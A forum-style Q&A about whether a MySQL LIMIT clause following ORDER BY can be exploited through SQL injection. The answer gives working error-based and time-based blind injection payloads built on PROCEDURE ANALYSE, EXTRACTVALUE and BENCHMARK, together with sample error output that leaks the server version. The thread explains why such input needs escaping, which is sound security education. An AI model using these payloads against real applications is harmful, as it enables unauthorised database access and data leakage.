SQL Injection and the LIMIT clause

Question

This question is to settle an argument between me and a coworker.

Let's say we have the following query, executed on a standard LAMP server.

SELECT field1, field2, field3
FROM some_table
WHERE some_table.field1 = 123
ORDER BY field2 DESC
LIMIT 0, 15

Now let's assume the limit clause is vulnerable to SQL injection.

LIMIT [insert anything here], [also insert anything here]

The point of my coworker is that there is no way to exploit this injection, so there's no need to escape it (since it take more processing power and stuff).

I think her reasoning is stupid, but I can't figure out how to prove her wrong by finding an example.

I can't use UNION since the query is using an ORDER BY clause, and the MySQL user running the query doesn't have the FILE priviledge so using INTO OUTFILE is also out of the question.

So, can anyone tell us who is right on this case?

Edit: the query is executed using PHP, so adding a second query using a semicolon won't work.

Answer 1

The LIMIT clause is vulnerable to SQL injection, even when it follows an ORDER BY, as Maurycy Prodeus demonstrated earlier this year:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1
       procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

Voilà! The above solution is based on handy known technique of so-called error based injection. If, therefore, our vulnerable web application discloses the errors of the database engine (this is a real chance, such bad practices are common), we solve the problem. What if our target doesn’t display errors? Are we still able to exploit it successfully?

It turns out that we can combine the above method with another well-known technique – time based injection. In this case, our solution will be as follows:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1
PROCEDURE analyse((select extractvalue(rand(),
concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

It works. What is interesting that using SLEEP is not possible in this case. That’s why there must be a BENCHMARK instead.